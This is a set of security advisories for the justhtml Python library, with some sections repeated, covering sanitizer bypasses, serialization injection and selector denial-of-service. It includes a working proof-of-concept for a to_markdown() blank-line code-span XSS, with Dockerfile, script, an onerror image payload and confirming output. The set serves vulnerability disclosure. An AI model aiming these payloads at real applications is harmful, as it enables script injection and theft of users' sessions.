• per-query matcher state for caches and cycle guards
• precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
• consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
• linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

• CWE-400: Uncontrolled Resource Consumption
• CWE-407: Inefficient Algorithmic Complexity
• CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

• do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
• restrict the size of untrusted documents before selector matching or linkification
• avoid constructing programmatic DOM graphs from untrusted structure
• avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.17.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected advanced or custom configurations rather than the default safe path.

Affected versions

• justhtml <= 1.16.0

Fixed version

• justhtml 1.17.0 released on April 19, 2026

Impact

Custom SVG / MathML sanitization policies

Custom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:

• active HTML integration points such as SVG <foreignObject>, MathML <annotation-xml encoding="text/html">, SVG <title> / <desc>, and MathML text integration points
• mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse
• SVG filter="url(...)" attributes that could trigger external fetches

These issues affected:

• JustHTML(..., sanitize=True) with custom foreign-namespace policies
• sanitize() / sanitize_dom()
• low-level terminal Sanitize(...) transform execution

Preserved <style> handling

Constructor-time sanitization and explicit Sanitize(...) transforms did not fully match sanitize() / sanitize_dom() when custom policies preserved <style>.

That could leave resource-loading CSS such as @import or background-image:url(...) in sanitized output from HTML string input.

Programmatic DOM serialization

Programmatic script, style, and Comment(...) nodes could still serialize into active markup in some edge cases.

This could affect applications that build or mutate DOM trees directly before calling to_html() or to_markdown(html_passthrough=True).

Cache mutation and DOM cycle handling

Two lower-severity hardening fixes were included:

• compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization
• parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as to_html() and sanitize_dom()

Default configuration

Most of the issues above did not affect ordinary parsed HTML with the default JustHTML(..., sanitize=True) configuration.

The main risk areas were:

• custom policies that preserve SVG or MathML
• custom policies that preserve <style>
• programmatic DOM construction or mutation
• low-level direct sanitizer/transform APIs

Recommended action

Upgrade to justhtml 1.17.0.

If users cannot upgrade immediately:

• avoid preserving SVG or MathML for untrusted input
• avoid preserving <style> for untrusted input
• avoid mutating programmatic DOM trees with untrusted script, style, or comment content
• avoid mutating warmed policy internals or sanitizer caches

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.16.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected one of these advanced paths rather than ordinary parsed HTML with the default safe settings:

• programmatic DOM input to sanitize() or sanitize_dom()
• reused or mutated sanitization policy objects
• custom policies that preserve foreign namespaces such as SVG or MathML

Affected versions

• justhtml <= 1.15.0

Fixed version

• justhtml 1.16.0 released on April 12, 2026

Impact

Policy reuse and mutation

Nested mutation of sanitization policy internals could weaken later sanitization by leaving stale compiled sanitizers active, or by mutating exported default policy internals process-wide.

In-memory sanitization gaps

Programmatic DOM sanitization could miss dangerous mixed-case tag names such as ScRiPt or StYlE, and custom drop_content_tags values such as {"SCRIPT"} could silently fail to drop dangerous subtrees.

Serialization injection

Crafted programmatic doctype names could serialize into active markup before the document body.

Foreign-namespace policy bypasses

Custom policies that preserve SVG or MathML could allow active SVG features to survive sanitization, including:

• animation elements such as <set> and <animate> that mutate already-sanitized attributes after sanitization
• presentation attributes such as fill, clip-path, mask, marker-start, and cursor containing external url(...) references
• programmatic DOM trees that claim namespace="html" but serialize as <svg> or <math>, bypassing foreign-content checks

Rawtext hardening gap

Mixed-case programmatic style or script nodes could bypass rawtext hardening and preserve active stylesheet content such as remote @import rules.

Default configuration

Most of these issues did not affect the normal JustHTML(..., sanitize=True) path for ordinary parsed HTML.

The main exceptions were policy-mutation issues, which could weaken later sanitization if code mutated nested state on reused policy objects or exported defaults.

Recommended action

Upgrade to justhtml 1.16.0.

If you cannot upgrade immediately:

• do not mutate DEFAULT_POLICY, DEFAULT_DOCUMENT_POLICY, or nested policy internals
• avoid reusing policy objects after mutating nested state
• avoid preserving SVG or MathML for untrusted input
• avoid preserving style or script in custom policies for untrusted input
• avoid serializing untrusted programmatic doctypes or DOM trees

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.15.0 includes multiple security fixes affecting URL sanitization helpers, HTML serialization, Markdown passthrough, and several custom sanitization-policy edge cases.

These issues have different impact levels and do not all affect the default configuration in the same way.

Affected versions

• justhtml <= 1.14.0

Fixed version

• justhtml 1.15.0 released on April 9, 2026

Impact overview

Helper and serialization issues

These issues could affect applications using JustHTML helpers or programmatic DOM construction, even outside the default HTML sanitization path.

• JustHTML.clean_url_value(...) and clean_url_in_js_string(...) could accept URL values such as javascript&#58..., which became active javascript: URLs after HTML attribute parsing.
• URL sanitization could treat values like \\evil.example/x or /\\evil.example/x as safe relative URLs even though browsers could resolve them as remote requests.
• Malformed bracketed hosts such as https://[evil.example]/x could raise exceptions and crash sanitization when host allowlists were used.
• Programmatic element or attribute names containing markup-breaking characters could be serialized into active HTML.
• Programmatic HTML comments containing --> could break out of the comment and inject live markup.

Markdown passthrough issue

• to_markdown(html_passthrough=True) could reintroduce active HTML from sanitized <textarea> content by emitting a raw closing </textarea> sequence.

Custom policy issues

These issues affected custom policies more than the default safe configuration.

• a[ping] was handled as a single URL even though browsers interpret it as a space-separated URL list.
• attributionsrc was not treated as URL-bearing and could preserve attacker-controlled reporting endpoints.
• link[imagesrcset] was not treated as URL-bearing and could preserve attacker-controlled image candidates.
• Preserved <meta http-equiv="refresh"> tags could keep redirect targets without URL-policy enforcement.
• Preserved <base href> tags could rewrite how later relative URLs resolved in the browser.
• Preserved <style> blocks could keep resource-loading CSS such as @import, url(...), or image-set(...).
• Mixed-case attribute names in custom transform pipelines could bypass or confuse security-related transforms such as DropAttrs(...), DropUrlAttrs(...), AllowStyleAttrs(...), and MergeAttrs(...).

Default configuration

Most of the custom-policy issues above did not affect the default JustHTML(..., sanitize=True) behavior.

The main exceptions were:

• helper APIs such as clean_url_value(...)
• programmatic DOM / serializer usage
• applications explicitly using html_passthrough=True
• applications using custom policies or custom transform pipelines

Recommended action

Upgrade to justhtml 1.15.0.

If you cannot upgrade immediately:

• avoid html_passthrough=True for untrusted content
• avoid preserving <style>, <meta http-equiv="refresh">, and <base href> in custom policies
• avoid allowing ping, attributionsrc, or imagesrcset unless you explicitly validate them
• avoid serializing untrusted programmatic node names, attribute names, or comment data

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

• justhtml < 1.18.0

Fixed version

• justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

• applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
• custom transform or sanitization pipelines that run selector matching over very large untrusted documents
• applications that construct or mutate DOM trees programmatically from untrusted structure
• applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

• shared selector limits for parse and match operations
• structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
• match-operation and string-byte budgets
• per-query matcher state for caches and cycle guards
• precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
• consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
• linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

• CWE-400: Uncontrolled Resource Consumption
• CWE-407: Inefficient Algorithmic Complexity
• CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

• do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
• restrict the size of untrusted documents before selector matching or linkification
• avoid constructing programmatic DOM graphs from untrusted structure
• avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.17.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected advanced or custom configurations rather than the default safe path.

Affected versions

• justhtml <= 1.16.0

Fixed version

• justhtml 1.17.0 released on April 19, 2026

Impact

Custom SVG / MathML sanitization policies

Custom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:

• active HTML integration points such as SVG <foreignObject>, MathML <annotation-xml encoding="text/html">, SVG <title> / <desc>, and MathML text integration points
• mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse
• SVG filter="url(...)" attributes that could trigger external fetches

These issues affected:

• JustHTML(..., sanitize=True) with custom foreign-namespace policies
• sanitize() / sanitize_dom()
• low-level terminal Sanitize(...) transform execution

Preserved <style> handling

Constructor-time sanitization and explicit Sanitize(...) transforms did not fully match sanitize() / sanitize_dom() when custom policies preserved <style>.

That could leave resource-loading CSS such as @import or background-image:url(...) in sanitized output from HTML string input.

Programmatic DOM serialization

Programmatic script, style, and Comment(...) nodes could still serialize into active markup in some edge cases.

This could affect applications that build or mutate DOM trees directly before calling to_html() or to_markdown(html_passthrough=True).

Cache mutation and DOM cycle handling

Two lower-severity hardening fixes were included:

• compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization
• parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as to_html() and sanitize_dom()

Default configuration

Most of the issues above did not affect ordinary parsed HTML with the default JustHTML(..., sanitize=True) configuration.

The main risk areas were:

• custom policies that preserve SVG or MathML
• custom policies that preserve <style>
• programmatic DOM construction or mutation
• low-level direct sanitizer/transform APIs

Recommended action

Upgrade to justhtml 1.17.0.

If users cannot upgrade immediately:

• avoid preserving SVG or MathML for untrusted input
• avoid preserving <style> for untrusted input
• avoid mutating programmatic DOM trees with untrusted script, style, or comment content
• avoid mutating warmed policy internals or sanitizer caches

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.16.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected one of these advanced paths rather than ordinary parsed HTML with the default safe settings:

• programmatic DOM input to sanitize() or sanitize_dom()
• reused or mutated sanitization policy objects
• custom policies that preserve foreign namespaces such as SVG or MathML

Affected versions

• justhtml <= 1.15.0

Fixed version

• justhtml 1.16.0 released on April 12, 2026

Impact

Policy reuse and mutation

Nested mutation of sanitization policy internals could weaken later sanitization by leaving stale compiled sanitizers active, or by mutating exported default policy internals process-wide.

In-memory sanitization gaps

Programmatic DOM sanitization could miss dangerous mixed-case tag names such as ScRiPt or StYlE, and custom drop_content_tags values such as {"SCRIPT"} could silently fail to drop dangerous subtrees.

Serialization injection

Crafted programmatic doctype names could serialize into active markup before the document body.

Foreign-namespace policy bypasses

Custom policies that preserve SVG or MathML could allow active SVG features to survive sanitization, including:

• animation elements such as <set> and <animate> that mutate already-sanitized attributes after sanitization
• presentation attributes such as fill, clip-path, mask, marker-start, and cursor containing external url(...) references
• programmatic DOM trees that claim namespace="html" but serialize as <svg> or <math>, bypassing foreign-content checks

Rawtext hardening gap

Mixed-case programmatic style or script nodes could bypass rawtext hardening and preserve active stylesheet content such as remote @import rules.

Default configuration

Most of these issues did not affect the normal JustHTML(..., sanitize=True) path for ordinary parsed HTML.

The main exceptions were policy-mutation issues, which could weaken later sanitization if code mutated nested state on reused policy objects or exported defaults.

Recommended action

Upgrade to justhtml 1.16.0.

If you cannot upgrade immediately:

• do not mutate DEFAULT_POLICY, DEFAULT_DOCUMENT_POLICY, or nested policy internals
• avoid reusing policy objects after mutating nested state
• avoid preserving SVG or MathML for untrusted input
• avoid preserving style or script in custom policies for untrusted input
• avoid serializing untrusted programmatic doctypes or DOM trees

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.15.0 includes multiple security fixes affecting URL sanitization helpers, HTML serialization, Markdown passthrough, and several custom sanitization-policy edge cases.

These issues have different impact levels and do not all affect the default configuration in the same way.

Affected versions

• justhtml <= 1.14.0

Fixed version

• justhtml 1.15.0 released on April 9, 2026

Impact overview

Helper and serialization issues

These issues could affect applications using JustHTML helpers or programmatic DOM construction, even outside the default HTML sanitization path.

• JustHTML.clean_url_value(...) and clean_url_in_js_string(...) could accept URL values such as javascript&#58..., which became active javascript: URLs after HTML attribute parsing.
• URL sanitization could treat values like \\evil.example/x or /\\evil.example/x as safe relative URLs even though browsers could resolve them as remote requests.
• Malformed bracketed hosts such as https://[evil.example]/x could raise exceptions and crash sanitization when host allowlists were used.
• Programmatic element or attribute names containing markup-breaking characters could be serialized into active HTML.
• Programmatic HTML comments containing --> could break out of the comment and inject live markup.

Markdown passthrough issue

• to_markdown(html_passthrough=True) could reintroduce active HTML from sanitized <textarea> content by emitting a raw closing </textarea> sequence.

Custom policy issues

These issues affected custom policies more than the default safe configuration.

• a[ping] was handled as a single URL even though browsers interpret it as a space-separated URL list.
• attributionsrc was not treated as URL-bearing and could preserve attacker-controlled reporting endpoints.
• link[imagesrcset] was not treated as URL-bearing and could preserve attacker-controlled image candidates.
• Preserved <meta http-equiv="refresh"> tags could keep redirect targets without URL-policy enforcement.
• Preserved <base href> tags could rewrite how later relative URLs resolved in the browser.
• Preserved <style> blocks could keep resource-loading CSS such as @import, url(...), or image-set(...).
• Mixed-case attribute names in custom transform pipelines could bypass or confuse security-related transforms such as DropAttrs(...), DropUrlAttrs(...), AllowStyleAttrs(...), and MergeAttrs(...).

Default configuration

Most of the custom-policy issues above did not affect the default JustHTML(..., sanitize=True) behavior.

The main exceptions were:

• helper APIs such as clean_url_value(...)
• programmatic DOM / serializer usage
• applications explicitly using html_passthrough=True
• applications using custom policies or custom transform pipelines

Recommended action

Upgrade to justhtml 1.15.0.

If you cannot upgrade immediately:

• avoid html_passthrough=True for untrusted content
• avoid preserving <style>, <meta http-equiv="refresh">, and <base href> in custom policies
• avoid allowing ping, attributionsrc, or imagesrcset unless you explicitly validate them
• avoid serializing untrusted programmatic node names, attribute names, or comment data

Summary

A parser-differential / mutation XSS issue was found in justhtml when using a custom sanitization policy that preserves foreign namespaces such as SVG or MathML.

Under these custom settings, specially crafted input could sanitize into HTML that looked safe at first, but became unsafe when parsed again by a browser or another HTML parser.

Impact

This issue does not affect the default safe configuration.

You may be affected if you use a custom SanitizationPolicy with settings like:

• drop_foreign_namespaces=False
• allowlisted foreign elements such as MathML or SVG
• allowlisted raw-text containers such as <style>

In that case, an attacker could inject markup that survives sanitization and turns into active HTML after re-parsing.

Affected versions

• justhtml <= 1.13.0

Fixed version

• Fixed in 1.14.0

Workarounds

Until you upgrade:

• keep drop_foreign_namespaces=True
• avoid allowlisting foreign namespaces for untrusted input
• avoid allowlisting raw-text containers such as <style> in custom policies

Notes

The default JustHTML(..., sanitize=True) behavior was not found to be vulnerable in this issue.

Credit

Discovered by JustHTML author during a LLM-based security review of justhtml.

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
